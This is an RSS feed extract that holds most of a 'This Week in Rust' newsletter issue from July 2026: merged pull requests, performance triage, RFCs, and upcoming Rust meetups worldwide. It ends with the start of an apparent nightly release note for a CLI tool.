<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>550 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-07..2026-07-14">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158931">inline some <code>Symbol</code> functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157104">predicate/clause cleanups</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158942">remove some AST <code>tokens</code> fields</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159019">resolver: wrap arenas in <code>WorkerLocal</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158794">rework read deduplication with pooled read recorders</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159012">shrink <code>mir::Statement</code> to 40 bytes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157491">shrink no-op drop elaboration</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158865">specialize common <code>(1, 1)</code> case for arg unification</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158842">use SmallVec for return places in MIR</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158866">add explicit <code>Iterator::count</code> impl for <code>ChunkBy</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157153">allow <code>Allocator</code>s to be used as <code>#[global_allocator]</code>s</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158876">fix multiple logic bugs in <code>Arc::make_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158940">implement feature <code>char_to_u32</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159092">make volatile operations const</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158541">move <code>std::io::Write</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159099">stabilize <code>String::from_utf8_lossy_owned</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/151379">stabilize <code>VecDeque::retain_back</code> from <code>truncate_front</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17199"><code>install</code>: Move --debug to Compilation options</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17204"><code>source</code>: incorrect duplicate package warning</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17202">fix manifest schema generation: <code>TomlDebugInfo</code> enum-variants doesn't renamed</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17198">dont apply host-config gating to stable behavior</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17191">reduce library search path length in new build dir layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17168">reduce rustc <code>-L</code> args used in the new <code>build-dir</code> layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17149">rename <code>-Zno-embed-metadata</code> to <code>-Zembed-metadata=no</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17203">test: fix race in <code>cargo_compile_with_invalid_code_in_deps</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15000">add new lints: <code>rest_pattern_accessible_field</code> and <code>unnecessary_rest_pattern</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16965">new lint: <code>definition_in_module_root</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17343"><code>arbitrary_source_item_ordering</code>: add configurable trait impl item ordering modes</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17387"><code>tests_outside_test_module</code>: put code in backticks in the lint message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17215">count length of the first paragraph by its text</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16980">fix <code>suboptimal_flops</code> false negative with ambiguous float literals</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17416">partly disable <code>unneeded_wildcard_pattern</code> when <code>rest_pattern_accessible_field</code> is enabled</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17404">respect the configured MSRV in <code>implicit_saturating_sub</code>'s <code>if x != 0 { x -= 1 }</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16513">trigger <code>single_element_loop</code> if the block contains only a final expression</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16808">optimize <code>nonstandard_macro_braces</code> by 99.9683% (1.1b → 351K)</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17381">perf: bail out of the <code>disallowed_methods</code> rule if the disallowed list is empty</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22771">ask for disclosure in AI contributions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22734">add fixes for array length for <code>type_mismatch</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22741">add parens in transformed dyn type in ref type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22736">avoid panic in merge imports on trailing path separator</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22654">change some things for <code>#[doc = macro!()]</code> expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22770">clamp cttz const-eval result to type width</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22751">correctly handled cfg'ed tail expr, take 2</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22749">crash on code actions when an unresolved module is present</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22707">crash when computing diagnostics with MIR and error types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22744">don't complete default in default impl</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22283">early late classification of lifetimes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22583">fix <code>render_const_using_debug_impl</code> constructing outdated std layouts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22735">fix proc macros <code>TokenStream::from_str()</code> for doc comments</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22464">hide private fields on hover depending on context</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22753">make lsp-server <code>Response</code> type closer aligned to JSON-RPC</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22535">pretty assoc const when trait in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22747">reimplement <code>crate_supports_no_std</code> syntactic heuristic</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22773">resolve non-plain paths in blocks correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22683">support Cargo 1.97.0 lockfile path setting</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22405">hir-ty: walk container exprs for <code>unused_must_use</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22768">fix onEnter erroneously deleting/interpreting <code>$foo</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22726">suggest code action fixes produced from diagnostics under cursor, even if they have effects elsewhere</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22777">treat library files as truly client immutable</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22534">turn <code>BlockLoc</code> into a tracked struct, take 3</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week many new optimizations landed, making this a very good week for performance.
The only real regression was a fix for a miscompile that will likely be re-landed in the future.</p>
<p>Triage done by <strong>@JonathanBrouwer</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;end=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;absolute=false&amp;stat=instructions%3Au">3659db0d..5503df87</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.2%, 0.4%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.9%</td>
<td>[0.1%, 2.5%]</td>
<td>25</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, -0.2%]</td>
<td>195</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-3.4%</td>
<td>[-92.1%, -0.1%]</td>
<td>174</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, 0.4%]</td>
<td>198</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 10 Improvements, 10 Mixed; 7 of them in rollups
36 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/212da2d63f1edf2ab22293547a99f0fbf8cb68a8/triage/2026/2026-07-13.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3955">Named <code>Fn</code> trait parameters</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159179">enable <code>unreachable_cfg_select_predicates</code> lint as part of <code>unused</code> lint group</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156906">Stabilize <code>dyn Allocator</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157226">Partially stabilize <code>box_vec_non_null</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/152761">Never break between empty parens</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1015">Enable <code>-Zpolonius=next</code> on nightly</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1014">Enable <code>-Znext-solver</code> on nightly by default for testing</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1012">Stabilizing the state of the debuginfo test suite</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize <code>repr(Rust)</code> enums by omitting tags in more cases involving uninhabited variants.</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3983">bf16 primitive type</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-15 - 2026-08-12 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/rust-tlv/events/">Rust 🦀 TLV</a><ul>
<li><a href="https://www.meetup.com/rust-tlv/events/315676843/"><strong>שיחה חופשית ווירטואלית על ראסט</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-12 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, MA, IN | <a href="https://www.meetup.com/rust-pune/events/">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a><ul>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group/events/">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>Thank you for your PR, but please edit the description like you are a chainsaw-wielding maniac that just discovered the sentences are young adults who came to the lake at summer camp after sunset.</p>
</blockquote>
<p>– <a href="https://github.com/rust-lang/rust/pull/159039#issuecomment-4931084997">workingjubilee on Rust github</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1786">Theemathas</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1uxsigp/this_week_in_rust_660/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260716.g3ff5ba20f]]></title>
<description><![CDATA[What's Changed

chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by @gemini-cli-robot in #28402
